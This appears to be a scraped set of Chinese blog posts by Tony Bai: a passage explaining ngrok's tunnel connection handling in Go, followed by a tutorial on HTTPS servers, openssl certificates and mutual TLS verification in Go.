Connection\n到目前为止，我们知道了Control Connection：用于ngrok和ngrokd之间传输命令；Public Connection：外部发起的，尝试向内网服务建立的链接。\n这节当中，我们要接触到Proxy Connection和Private Connection。\nProxy Connection以及Private Connection的建立过程如下：\n前面ngrok和ngrokd的交互进行到了NewTunnel，这些数据都是通过之前已经建立的Control Connection上传输的。\nngrokd侧，NewControl方法的结尾有这样一行代码：\n// As a performance optimization, ask for a proxy connection up front\nc.out \u0026lt;- \u0026amp;msg.ReqProxy{}\n服务端ngrokd在Control Connection上向ngrok发送了\u0026quot;ReqProxy\u0026quot;的消息，意为请求ngrok向ngrokd建立一条Proxy Connection，该链接将作为隧道数据流的承载者。\n客户端ngrok在ClientModel control方法的main control loop中收到ReqProxy并处理该消息：\ncase *msg.ReqProxy:\nc.ctl.Go(c.proxy)\n// Establishes and manages a tunnel proxy connection with the server\nfunc (c *ClientModel) proxy() {\nif c.proxyUrl == \u0026quot;\u0026quot; {\nremoteConn, err = conn.Dial(c.serverAddr, \u0026ldquo;pxy\u0026rdquo;, c.tlsConfig)\n}……\nerr = msg.WriteMsg(remoteConn, \u0026amp;msg.RegProxy{ClientId: c.id})\nif err != nil {\nremoteConn.Error(\u0026ldquo;Failed to write RegProxy: %v\u0026rdquo;, err)\nreturn\n}\n… …\n}\nngrok客户端收到ReqProxy后，创建一条新连接到ngrokd，该连接即为Proxy Connection。并且ngrok将RegProxy消息通过该新建立的Proxy Connection发到ngrokd，以便ngrokd将该Proxy Connection与对应的Control Connection以及tunnel关联在一起。\n// ngrok服务端\nfunc tunnelListener(addr string, tlsConfig *tls.Config) {\n…. …\ncase *msg.RegProxy:\nNewProxy(tunnelConn, m)\n… …\n}\n到目前为止, tunnel、Proxy Connection都已经建立了，万事俱备，就等待Public发起Public connection到ngrokd了。\n下面我们以Public发起一个http连接到ngrokd为例，比如我们通过curl 命令，向test.ngrok.me发起一次http请求。\n前面说过，ngrokd在启动时默认启动了80和443端口的监听，并且与其他http/https隧道共同多路复用该端口（通过vhost机制)。ngrokd server对80端口的处理代码如下：\n// ngrok/src/ngrok/server/main.go\nfunc Main() {\n… …\n// listen for http\nif opts.httpAddr != \u0026quot;\u0026quot; {\nlisteners[\u0026ldquo;http\u0026rdquo;] =\nstartHttpListener(opts.httpAddr, nil)\n}\n… …\n}\nstartHttpListener针对每个连接，启动一个goroutine专门处理：\n//ngrok/src/ngrok/server/http.go\nfunc startHttpListener(addr string,\ntlsCfg *tls.Config) (listener *conn.Listener) {\n// bind/listen for incoming connections\nvar err error\nif listener, err = conn.Listen(addr, \u0026ldquo;pub\u0026rdquo;, tlsCfg);\nerr != nil {\npanic(err)\n}\nproto := \u0026ldquo;http\u0026rdquo;\nif tlsCfg != nil {\nproto = \u0026ldquo;https\u0026rdquo;\n}\n… …\ngo func() {\nfor conn := range listener.Conns {\ngo httpHandler(conn, proto)\n}\n}()\nreturn\n}\n// Handles a new http connection from the public internet\nfunc httpHandler(c conn.Conn, proto string) {\n… …\n// let the tunnel handle the connection now\ntunnel.HandlePublicConnection(c)\n}\n我们终于看到server端处理public connection的真正方法了:\n//ngrok/src/ngrok/server/tunnel.go\nfunc (t *Tunnel) HandlePublicConnection(publicConn conn.Conn) {\n… …\nvar proxyConn conn.Conn\nvar err error\nfor i := 0; i \u0026lt; (2 * proxyMaxPoolSize); i++ {\n// get a proxy connection\nif proxyConn, err = t.ctl.GetProxy();\nerr != nil {\n… …\n}\ndefer proxyConn.Close()\n… …\n// tell the client we\u0026rsquo;re going to\n// start using this proxy connection\nstartPxyMsg := \u0026amp;msg.StartProxy{\nUrl: t.url,\nClientAddr: publicConn.RemoteAddr().String(),\n}\nif err = msg.WriteMsg(proxyConn, startPxyMsg);\nerr != nil {\n… …\n}\n}\n… …\n// join the public and proxy connections\nbytesIn, bytesOut := **conn.Join(**publicConn, proxyConn)\n…. …\n}\nHandlePublicConnection通过选出的Proxy connection向ngrok client发送StartProxy信息，告知ngrok proxy启动。然后通过conn.Join方法将publicConn和proxyConn关联到一起。\n// ngrok/src/ngrok/conn/conn.go\nfunc Join(c Conn, c2 Conn) (int64, int64) {\nvar wait sync.WaitGroup\npipe := func(to Conn, from Conn, bytesCopied *int64) {\ndefer to.Close()\ndefer from.Close()\ndefer wait.Done()\nvar err error\n*bytesCopied, err = io.Copy(to, from)\nif err != nil {\nfrom.Warn(\u0026ldquo;Copied %d bytes to %s before failing with error %v\u0026rdquo;, *bytesCopied, to.Id(), err)\n} else {\nfrom.Debug(\u0026ldquo;Copied %d bytes to %s\u0026rdquo;, *bytesCopied, to.Id())\n}\n}\nwait.Add(2)\nvar fromBytes, toBytes int64\ngo pipe(c, c2, \u0026amp;fromBytes)\ngo pipe(c2, c, \u0026amp;toBytes)\nc.Info(\u0026ldquo;Joined with connection %s\u0026rdquo;, c2.Id())\nwait.Wait()\nreturn fromBytes, toBytes\n}\nJoin通过io.Copy实现public conn和proxy conn数据流的转发，单向被称作一个pipe，Join建立了两个Pipe，实现了双向转发，每个Pipe直到一方返回EOF或异常失败才会退出。后续在ngrok端，proxy conn和private conn也是通过conn.Join关联到一起的。\n我们现在就来看看ngrok在收到StartProxy消息后是如何处理的。我们回到ClientModel的proxy方法中。在向ngrokd成功建立proxy connection后，ngrok等待ngrokd的StartProxy指令。\n// wait for the server to ack our register\nvar startPxy msg.StartProxy\nif err = msg.ReadMsgInto(remoteConn, \u0026amp;startPxy);\nerr != nil {\nremoteConn.Error(\u0026ldquo;Server failed to write StartProxy: %v\u0026rdquo;,\nerr)\nreturn\n}\n一旦收到StartProxy，ngrok将建立一条private connection：\n// start up the private connection\nstart := time.Now()\nlocalConn, err := conn.Dial(tunnel.LocalAddr, \u0026ldquo;prv\u0026rdquo;, nil)\nif err != nil {\n… …\nreturn\n}\n并将private connection和proxy connection通过conn.Join关联在一起，实现数据透明转发。\nm.connTimer.Time(func() {\nlocalConn := tunnel.Protocol.WrapConn(localConn,\nmvc.ConnectionContext{Tunnel: tunnel,\nClientAddr: startPxy.ClientAddr})\nbytesIn, bytesOut := conn.Join(localConn, remoteConn)\nm.bytesIn.Update(bytesIn)\nm.bytesOut.Update(bytesOut)\nm.bytesInCount.Inc(bytesIn)\nm.bytesOutCount.Inc(bytesOut)\n})\n这样一来，public connection上的数据通过proxy connection到达ngrok，ngrok再通过private connection将数据转发给本地启动的服务程序，从而实现所谓的内网穿透。从public视角来看，就像是与内网中的那个服务直接交互一样。\n","permalink":"https://tonybai.com/2015/05/14/ngrok-source-intro/","summary":"\u003cp\u003e之前在进行\u003ca href=\"http://tonybai.com/2014/12/18/access-validation-for-wechat-public-platform-dev-in-golang/\"\u003e微信Demo开发\u003c/a\u003e时曾用到过\u003ca href=\"https://github.com/inconshreveable/ngrok\"\u003engrok\u003c/a\u003e这个强大的tunnel(隧道)工具，ngrok在其github官方页面上的自我诠释是 “introspected tunnels to localhost\u0026quot;，这个诠释有两层含义：\u003cbr\u003e\n1、可以用来建立public到localhost的tunnel，让居于内网主机上的服务可以暴露给public，俗称内网穿透。\u003cbr\u003e\n2、支持对隧道中数据的introspection（内省），支持可视化的观察隧道内数据，并replay（重放）相关请求（诸如http请 求）。\u003c/p\u003e","title":"ngrok原理浅析"},{"content":"近期在构思一个产品，考虑到安全性的原因，可能需要使用到HTTPS协议以及双向数字证书校验。之前只是粗浅接触过HTTP（使用Golang开 发微信系列）。对HTTPS的了解则始于那次自行搭建ngrok服务，在那个过程中照猫画虎地为服务端生成了一些私钥和证书，虽然结果是好 的：ngrok服务成功搭建起来了，但对HTTPS、数字证书等的基本原理并未求甚解。于是想趁这次的机会，对HTTPS做一些深度挖掘。主要途 径：翻阅网上资料、书籍，并利用golang编写一些实验examples。\n一、HTTPS简介\n日常生活中，我们上网用的最多的应用层协议就是HTTP协议了，直至目前全世界的网站中大多数依然只支持HTTP访问。\n使用Go创建一个HTTP Server十分Easy，十几行代码就能搞定：\n//gohttps/1-http/server.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc handler(w http.ResponseWriter, r *http.Request) {\nfmt.Fprintf(w,\n\u0026ldquo;Hi, This is an example of http service in golang!\u0026rdquo;)\n}\nfunc main() {\nhttp.HandleFunc(\u0026quot;/\u0026quot;, handler)\nhttp.ListenAndServe(\u0026quot;:8080\u0026quot;, nil)\n}\n执行这段代码：\n$ go run server.go\n打开浏览器，在地址栏输入\u0026quot;http://localhost:8080\u0026quot;， 你会看到“ Hi, This is an example of http service in golang!\u0026ldquo;输出到浏览器窗口。\n不过HTTP毕竟是明文的，在这样一个不安全的世界里，随时存在着窃听（sniffer工具可以简单办到）、篡改甚至是冒充等风险，因此对于一些 对安全比较care的站点或服务，它们需要一种安全的HTTP协议，于是就有了HTTPS。\nHTTPS只是我们在浏览器地址栏中看到协议标识，实际上它可以被理解为运行在SSL（Secure Sockets Layer）或TLS(Transport Layer Security)协议所构建的安全层之上的HTTP协议，协议的传输安全性以及内容完整性实际上是由SSL或TLS保证的。\n关于HTTPS协议原理的详细说明，没有个百八十页是搞不定的，后续我会在各个实验之前将相关的原理先作一些说明，整体原理这里就不赘述了。有兴 趣的朋友可以参考以下资料：\n1、《HTTP权威指南》第十四章\n2、《图解HTTP》第七章\n3、阮一峰老师的两篇博文“SSL/TLS协议运行机制的概述\u0026ldquo;和\u0026rdquo;图解SSL/TLS协议\u0026quot;。\n二、实现一个最简单的HTTPS Web Server\nGolang的标准库net/http提供了https server的基本实现，我们修改两行代码就能将上面的HTTP Server改为一个HTTPS Web Server:\n// gohttps/2-https/server.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc handler(w http.ResponseWriter, r *http.Request) {\nfmt.Fprintf(w,\n\u0026ldquo;Hi, This is an example of https service in golang!\u0026rdquo;)\n}\nfunc main() {\nhttp.HandleFunc(\u0026rdquo;/\u0026quot;, handler)\nhttp.ListenAndServeTLS(\u0026quot;:8081\u0026quot;, \u0026ldquo;server.crt\u0026rdquo;,\n\u0026ldquo;server.key\u0026rdquo;, nil)\n}\n我们用http.ListenAndServeTLS替换掉了http.ListenAndServe，就将一个HTTP Server转换为HTTPS Web Server了。不过ListenAndServeTLS 新增了两个参数certFile和keyFile，需要我们传入两个文件路径。到这里，我们不得不再学习一点HTTPS协议的原理了。不过为 了让这个例子能先Run起来，我们先执行下面命令，利用openssl生成server.crt和server.key文件，供程序使用，原 理后续详述：\n$openssl genrsa -out server.key 2048\nGenerating RSA private key, 2048 bit long modulus\n…………….+++\n……………+++\ne is 65537 (0×10001)\n$openssl req -new -x509 -key server.key -out server.crt -days 365\nYou are about to be asked to enter information that will be incorporated\ninto your certificate request.\nWhat you are about to enter is what is called a Distinguished Name or a DN.\nThere are quite a few fields but you can leave some blank\nFor some fields there will be a default value,\nIf you enter \u0026lsquo;.\u0026rsquo;, the field will be left blank.\n—–\nCountry Name (2 letter code) [AU]:\nState or Province Name (full name) [Some-State]:\nLocality Name (eg, city) []:\nOrganization Name (eg, company) [Internet Widgits Pty Ltd]:\nOrganizational Unit Name (eg, section) []:\nCommon Name (e.g. server FQDN or YOUR name) []:localhost\nEmail Address []:\n执行程序：go run server.go\n通过浏览器访问：https://localhost:8081，chrome浏览器会显示如下画面：\n忽略继续后，才能看到\u0026quot;Hi, This is an example of https service in golang!\u0026ldquo;这个结果输出在窗口上。\n也可以使用curl工具验证这个HTTPS server：\ncurl -k https://localhost:8081\nHi, This is an example of http service in golang!\n注意如果不加-k，curl会报如下错误：\n$curl https://localhost:8081\ncurl: (60) SSL certificate problem: Invalid certificate chain\nMore details here: http://curl.haxx.se/docs/sslcerts.html\ncurl performs SSL certificate verification by default, using a \u0026ldquo;bundle\u0026rdquo;\nof Certificate Authority (CA) public keys (CA certs). If the default\nbundle file isn\u0026rsquo;t adequate, you can specify an alternate file\nusing the –cacert option.\nIf this HTTPS server uses a certificate signed by a CA represented in\nthe bundle, the certificate verification probably failed due to a\nproblem with the certificate (it might be expired, or the name might\nnot match the domain name in the URL).\nIf you\u0026rsquo;d like to turn off curl\u0026rsquo;s verification of the certificate, use\nthe -k (or –insecure) option.\n三、非对称加密和数字证书\n前面说过，HTTPS的数据传输是加密的。实际使用中，HTTPS利用的是对称与非对称加密算法结合的方式。\n对称加密，就是通信双方使用一个密钥，该密钥既用于数据加密（发送方），也用于数据解密（接收方）。\n非对称加密，使用两个密钥。发送方使用公钥（公开密钥）对数据进行加密，数据接收方使用私钥对数据进行解密。\n实际操作中，单纯使用对称加密或单纯使用非对称加密都会存在一些问题，比如对称加密的密钥管理复杂；非对称加密的处理性能低、资源占用高等，因 此HTTPS结合了这两种方式。\nHTTPS服务端在连接建立过程（ssl shaking握手协议）中，会将自身的公钥发送给客户端。客户端拿到公钥后，与服务端协商数据传输通道的对称加密密钥-对话密钥，随后的这个协商过程则 是基于非对称加密的（因为这时客户端已经拿到了公钥，而服务端有私钥）。一旦双方协商出对话密钥，则后续的数据通讯就会一直使用基于该对话密 钥的对称加密算法了。\n上述过程有一个问题，那就是双方握手过程中，如何保障HTTPS服务端发送给客户端的公钥信息没有被篡改呢？实际应用中，HTTPS并非直接 传输公钥信息，而是使用携带公钥信息的数字证书来保证公钥的安全性和完整性。\n数字证书，又称互联网上的\u0026quot;身份证\u0026rdquo;，用于唯一标识一个组织或一个服务器的，这就好比我们日常生活中使用的\u0026quot;居民身份证\u0026quot;，用于唯一标识一个 人。服务端将数字证书传输给客户端，客户端如何校验这个证书的真伪呢？我们知道居民身份证是由国家统一制作和颁发的，个人向户 口所在地公安机关申请，国家颁发的身份证才具有法律 效力，任何地方这个身份证都是有效和可被接纳的。大悦城的会员卡也是一种身份标识，但你若用大悦城的会员卡去买机票，对不起， 不卖。航空公司可不认大悦城的会员卡，只认居民身份证。网站的证书也是同样的道理。一般来说数字证书从受信的权威证书授权机构 (Certification Authority，证书授权机构)买来的（免费的很少）。一般浏览器在出厂时就内置了诸多知名CA（如Verisign、GoDaddy、美国国防部、 CNNIC等）的数字证书校验方法，只要是这些CA机构颁发的证书，浏览器都能校验。对于CA未知的证书，浏览器则会报错（就像上面那个截图一 样）。主流浏览器都有证书管理功能，但鉴于这些功能比较高级，一般用户是不用去关心的。\n初步原理先讲到这，我们再回到上面的例子。\n四、服务端私钥与证书\n接上面的例子，我们来说说服务端私钥与证书的生成。\ngo的http.ListenAndServeTLS需要两个特别参数，一个是服务端的私钥 文件路径，另外一个是服务端的数字证书文件路径。在测试环境，我们没有必要花钱去购买什么证书，利用openssl工具，我们可以自己生成相 关私钥和自签发的数字证书。\nopenssl genrsa -out server.key 2048 用于生成服务端私钥文件server.key，后面的参数2048单位是bit，是私钥的长度。\nopenssl生成的私钥中包含了公钥的信息，我们可以根据私钥生成公钥：\n$openssl rsa -in server.key -out server.key.public\n我们也可以根据私钥直接生成自签发的数字证书：\n$openssl req -new -x509 -key server.key -out server.crt -days 365\nserver.key和server.crt将作为ListenAndServeTLS的两个输入参数。\n我们编写一个Go程序来尝试与这个HTTPS server建立连接并通信。\n//gohttps/4-https/client1.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io/ioutil\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc main() {\nresp, err := http.Get(\u0026ldquo;https://localhost:8081\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;error:\u0026rdquo;, err)\nreturn\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\nfmt.Println(string(body))\n}\n运行这个client，我们得到如下错误：\n$go run client1.go\nerror: Get https://localhost:8081: x509: certificate signed by unknown authority\n此时服务端也给出了错误日志提示：\n2015/04/30 16:03:31 http: TLS handshake error from 127.0.0.1:62004: remote error: bad certificate\n显然从客户端日志来看，go实现的Client端默认也是要对服务端传过来的数字证书进行校验的，但客户端提示：这个证书是由不知名CA签发 的！\n我们可以修改一下client1.go的代码，让client端略过对证书的校验：\n//gohttps/4-https/client2.go\npackage main\nimport (\n\u0026ldquo;crypto/tls\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io/ioutil\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc main() {\ntr := \u0026amp;http.Transport{\nTLSClientConfig: \u0026amp;tls.Config{InsecureSkipVerify: true},\n}\nclient := \u0026amp;http.Client{Transport: tr}\nresp, err := client.Get(\u0026ldquo;https://localhost:8081\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;error:\u0026rdquo;, err)\nreturn\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\nfmt.Println(string(body))\n}\n通过设置tls.Config的InsecureSkipVerify为true，client将不再对服务端的证书进行校验。执行后的结果 也证实了这一点：\n$go run client2.go\nHi, This is an example of http service in golang!\n五、对服务端的证书进行校验\n多数时候，我们需要对服务端的证书进行校验，而不是像上面client2.go那样忽略这个校验。我大脑中的这个产品需要服务端和客户端双向 校验，我们先来看看如何能让client端实现对Server端证书的校验呢？\nclient端校验证书的原理是什么呢？回想前面我们提到的浏览器内置了知名CA的相关信息，用来校验服务端发送过来的数字证书。那么浏览器 存储的到底是CA的什么信息呢？其实是CA自身的数字证书(包含CA自己的公钥)。而且为了保证CA证书的真实性，浏览器是在出厂时就内置了 这些CA证书的，而不是后期通过通信的方式获取的。CA证书就是用来校验由该CA颁发的数字证书的。\n那么如何使用CA证书校验Server证书的呢？这就涉及到数字证书到底是什么了！\n我们可以通过浏览器中的\u0026quot;https/ssl证书管理\u0026quot;来查看证书的内容，一般服务器证书都会包含诸如站点的名称和主机名、公钥、签发机构 (CA)名称和来自签发机构的签名等。我们重点关注这个来自签发机构的签名，因为对于证书的校验，就是使用客户端CA证书来验证服务端证书的签名是否这 个CA签的。\n通过签名验证我们可以来确认两件事：\n1、服务端传来的数字证书是由某个特定CA签发的（如果是self-signed，也无妨），数字证书中的签名类似于日常生活中的签名，首先 验证这个签名签的是Tony Bai，而不是Tom Bai， Tony Blair等。\n2、服务端传来的数字证书没有被中途篡改过。这类似于\u0026quot;Tony Bai\u0026quot;有无数种写法，这里验证必须是我自己的那种写法，而不是张三、李四写的\u0026quot;Tony Bai\u0026quot;。\n一旦签名验证通过，我们因为信任这个CA，从而信任这个服务端证书。由此也可以看出，CA机构的最大资本就是其信用度。\nCA在为客户签发数字证书时是这样在证书上签名的：\n数字证书由两部分组成：\n1、C：证书相关信息（对象名称+过期时间+证书发布者+证书签名算法….）\n2、S：证书的数字签名\n其中的数字签名是通过公式S = F(Digest(C))得到的。\nDigest为摘要函数，也就是 md5、sha-1或sha256等单向散列算法，用于将无限输入值转换为一个有限长度的“浓缩”输出值。比如我们常用md5值来验证下载的大文件是否完 整。大文件的内容就是一个无限输入。大文件被放在网站上用于下载时，网站会对大文件做一次md5计算，得出一个128bit的值作为大文件的 摘要一同放在网站上。用户在下载文件后，对下载后的文件再进行一次本地的md5计算，用得出的值与网站上的md5值进行比较，如果一致，则大 文件下载完好，否则下载过程大文件内容有损坏或源文件被篡改。\nF为签名函数。CA自己的私钥是唯一标识CA签名的，因此CA用于生成数字证书的签名函数一定要以自己的私钥作为一个输入参数。在RSA加密 系统中，发送端的解密函数就是一个以私钥作 为参数的函数，因此常常被用作签名函数使用。签名算法是与证书一并发送给接收 端的，比如apple的一个服务的证书中关于签名算法的描述是“带 RSA 加密的 SHA-256 ( 1.2.840.113549.1.1.11 )”。因此CA用私钥解密函数作为F，对C的摘要进行运算得到了客户数字证书的签名，好比大学毕业证上的校长签名，所有毕业证都是校长签发的。\n接收端接收服务端数字证书后，如何验证数字证书上携带的签名是这个CA的签名呢？接收端会运用下面算法对数字证书的签名进行校验：\nF\u0026rsquo;(S) ?= Digest(C)\n接收端进行两个计算，并将计算结果进行比对：\n1、首先通过Digest(C)，接收端计算出证书内容（除签名之外）的摘要。\n2、数字证书携带的签名是CA通过CA密钥加密摘要后的结果，因此接收端通过一个解密函数F\u0026rsquo;对S进行“解密”。RSA系统中，接收端使用 CA公钥对S进行“解密”，这恰是CA用私钥对S进行“加密”的逆过程。\n将上述两个运算的结果进行比较，如果一致，说明签名的确属于该CA，该证书有效，否则要么证书不是该CA的，要么就是中途被人篡改了。\n但对于self-signed(自签发)证书来说，接收端并没有你这个self-CA的数字证书，也就是没有CA公钥，也就没有办法对数字证 书的签名进行验证。因此如果要编写一个可以对self-signed证书进行校验的接收端程序的话，首先我们要做的就是建立一个属于自己的 CA，用该CA签发我们的server端证书，并将该CA自身的数字证书随客户端一并发布。\n这让我想起了在《搭建自己的ngrok服务》一文中为ngrok服务端、客户端生成证书的那几个步骤，我们来重温并分析一下每一步都在做什么。\n(1)openssl genrsa -out rootCA.key 2048\n(2)openssl req -x509 -new -nodes -key rootCA.key -subj \u0026ldquo;/CN=*.tunnel.tonybai.com\u0026rdquo; -days 5000 -out rootCA.pem\n(3)openssl genrsa -out device.key 2048\n(4)openssl req -new -key device.key -subj \u0026ldquo;/CN=*.tunnel.tonybai.com\u0026rdquo; -out device.csr\n(5)openssl x509 -req -in device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000\n(6)cp rootCA.pem assets/client/tls/ngrokroot.crt\n(7)cp device.crt assets/server/tls/snakeoil.crt\n(8)cp device.key assets/server/tls/snakeoil.key\n自己搭建ngrok服务，客户端要验证服务端证书，我们需要自己做CA，因此步骤(1)和步骤(2)就是生成CA自己的相关信息。\n步骤(1) ，生成CA自己的私钥 rootCA.key\n步骤(2)，根据CA自己的私钥生成自签发的数字证书，该证书里包含CA自己的公钥。\n步骤(3)~(5)是用来生成ngrok服务端的私钥和数字证书（由自CA签发）。\n步骤(3)，生成ngrok服务端私钥。\n步骤(4)，生成Certificate Sign Request，CSR，证书签名请求。\n步骤(5)，自CA用自己的CA私钥对服务端提交的csr进行签名处理，得到服务端的数字证书device.crt。\n步骤(6)，将自CA的数字证书同客户端一并发布，用于客户端对服务端的数字证书进行校验。\n步骤(7)和步骤(8)，将服务端的数字证书和私钥同服务端一并发布。\n接下来我们来验证一下客户端对服务端数字证书进行验证（gohttps/5-verify-server-cert）！\n首先我们来建立我们自己的CA，需要生成一个CA私钥和一个CA的数字证书:\n$openssl genrsa -out ca.key 2048\nGenerating RSA private key, 2048 bit long modulus\n……….+++\n………………………….+++\ne is 65537 (0×10001)\n$openssl req -x509 -new -nodes -key ca.key -subj \u0026ldquo;/CN=tonybai.com\u0026rdquo; -days 5000 -out ca.crt\n接下来，生成server端的私钥，生成数字证书请求，并用我们的ca私钥签发server的数字证书：\nopenssl genrsa -out server.key 2048\nGenerating RSA private key, 2048 bit long modulus\n….+++\n…………………….+++\ne is 65537 (0×10001)\n$openssl req -new -key server.key -subj \u0026ldquo;/CN=localhost\u0026rdquo; -out server.csr\n$openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 5000\nSignature ok\nsubject=/CN=localhost\nGetting CA Private Key\n现在我们的工作目录下有如下一些私钥和证书文件：\nCA:\n私钥文件 ca.key\n数字证书 ca.crt\nServer:\n私钥文件 server.key\n数字证书 server.crt\n接下来，我们就来完成我们的程序。\nServer端的程序几乎没有变化：\n// gohttps/5-verify-server-cert/server.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc handler(w http.ResponseWriter, r *http.Request) {\nfmt.Fprintf(w,\n\u0026ldquo;Hi, This is an example of http service in golang!\u0026rdquo;)\n}\nfunc main() {\nhttp.HandleFunc(\u0026quot;/\u0026quot;, handler)\nhttp.ListenAndServeTLS(\u0026quot;:8081\u0026quot;,\n\u0026ldquo;server.crt\u0026rdquo;, \u0026ldquo;server.key\u0026rdquo;, nil)\n}\nclient端程序变化较大，由于client端需要验证server端的数字证书，因此client端需要预先加载ca.crt，以用于服务端数字证书的校验：\n// gohttps/5-verify-server-cert/client.go\npackage main\nimport (\n\u0026ldquo;crypto/tls\u0026rdquo;\n\u0026ldquo;crypto/x509\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io/ioutil\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc main() {\npool := x509.NewCertPool()\ncaCertPath := \u0026ldquo;ca.crt\u0026rdquo;\ncaCrt, err := ioutil.ReadFile(caCertPath)\nif err != nil {\nfmt.Println(\u0026ldquo;ReadFile err:\u0026rdquo;, err)\nreturn\n}\npool.AppendCertsFromPEM(caCrt)\ntr := \u0026amp;http.Transport{\nTLSClientConfig: \u0026amp;tls.Config{RootCAs: pool},\n}\nclient := \u0026amp;http.Client{Transport: tr}\nresp, err := client.Get(\u0026ldquo;https://localhost:8081\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;Get error:\u0026rdquo;, err)\nreturn\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\nfmt.Println(string(body))\n}\n运行server和client:\n$go run server.go\ngo run client.go\nHi, This is an example of http service in golang!\n六、对客户端的证书进行校验(双向证书校验）\n服务端可以要求对客户端的证书进行校验，以更严格识别客户端的身份，限制客户端的访问。\n要对客户端数字证书进行校验，首先客户端需要先有自己的证书。我们以上面的例子为基础，生成客户端的私钥与证书。\n$openssl genrsa -out client.key 2048\nGenerating RSA private key, 2048 bit long modulus\n………………..+++\n………………..+++\ne is 65537 (0×10001)\n$openssl req -new -key client.key -subj \u0026ldquo;/CN=tonybai_cn\u0026rdquo; -out client.csr\n$openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 5000\nSignature ok\nsubject=/CN=tonybai_cn\nGetting CA Private Key\n接下来我们来改造我们的程序，首先是server端。\n首先server端需要要求校验client端的数字证书，并且加载用于校验数字证书的ca.crt，因此我们需要对server进行更加灵活的控制：\n// gohttps/6-dual-verify-certs/server.go\npackage main\nimport (\n\u0026ldquo;crypto/tls\u0026rdquo;\n\u0026ldquo;crypto/x509\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io/ioutil\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\ntype myhandler struct {\n}\nfunc (h *myhandler) ServeHTTP(w http.ResponseWriter,\nr *http.Request) {\nfmt.Fprintf(w,\n\u0026ldquo;Hi, This is an example of http service in golang!\\n\u0026rdquo;)\n}\nfunc main() {\npool := x509.NewCertPool()\ncaCertPath := \u0026ldquo;ca.crt\u0026rdquo;\ncaCrt, err := ioutil.ReadFile(caCertPath)\nif err != nil {\nfmt.Println(\u0026ldquo;ReadFile err:\u0026rdquo;, err)\nreturn\n}\npool.AppendCertsFromPEM(caCrt)\ns := \u0026amp;http.Server{\nAddr: \u0026ldquo;:8081\u0026rdquo;,\nHandler: \u0026amp;myhandler{},\nTLSConfig: \u0026amp;tls.Config{\nClientCAs: pool,\nClientAuth: tls.RequireAndVerifyClientCert,\n},\n}\nerr = s.ListenAndServeTLS(\u0026ldquo;server.crt\u0026rdquo;, \u0026ldquo;server.key\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;ListenAndServeTLS err:\u0026rdquo;, err)\n}\n}\n可以看出代码通过将tls.Config.ClientAuth赋值为tls.RequireAndVerifyClientCert来实现Server强制校验client端证书。ClientCAs是用来校验客户端证书的ca certificate。\nClient端变化也很大，需要加载client.key和client.crt用于server端连接时的证书校验：\n// gohttps/6-dual-verify-certs/client.go\npackage main\nimport (\n\u0026ldquo;crypto/tls\u0026rdquo;\n\u0026ldquo;crypto/x509\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io/ioutil\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc main() {\npool := x509.NewCertPool()\ncaCertPath := \u0026ldquo;ca.crt\u0026rdquo;\ncaCrt, err := ioutil.ReadFile(caCertPath)\nif err != nil {\nfmt.Println(\u0026ldquo;ReadFile err:\u0026rdquo;, err)\nreturn\n}\npool.AppendCertsFromPEM(caCrt)\ncliCrt, err := tls.LoadX509KeyPair(\u0026ldquo;client.crt\u0026rdquo;, \u0026ldquo;client.key\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;Loadx509keypair err:\u0026rdquo;, err)\nreturn\n}\ntr := \u0026amp;http.Transport{\nTLSClientConfig: \u0026amp;tls.Config{\nRootCAs: pool,\nCertificates: []tls.Certificate{cliCrt},\n},\n}\nclient := \u0026amp;http.Client{Transport: tr}\nresp, err := client.Get(\u0026ldquo;https://localhost:8081\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;Get error:\u0026rdquo;, err)\nreturn\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\nfmt.Println(string(body))\n}\n好了，让我们来试着运行一下这两个程序，结果如下：\n$go run server.go\n2015/04/30 22:13:33 http: TLS handshake error from 127.0.0.1:53542:\ntls: client\u0026rsquo;s certificate\u0026rsquo;s extended key usage doesn\u0026rsquo;t permit it to be\nused for client authentication\n$go run client.go\nGet error: Get https://localhost:8081: remote error: handshake failure\n失败了！从server端的错误日志来看，似乎是client端的client.crt文件不满足某些条件。\n根据server端的错误日志，搜索了Golang的源码，发现错误出自crypto/tls/handshake_server.go。\nk := false\nfor _, ku := range certs[0].ExtKeyUsage {\nif ku == x509.ExtKeyUsageClientAuth {\nok = true\nbreak\n}\n}\nif !ok {\nc.sendAlert(alertHandshakeFailure)\nreturn nil, errors.New(\u0026ldquo;tls: client\u0026rsquo;s certificate\u0026rsquo;s extended key usage doesn\u0026rsquo;t permit it to be used for client 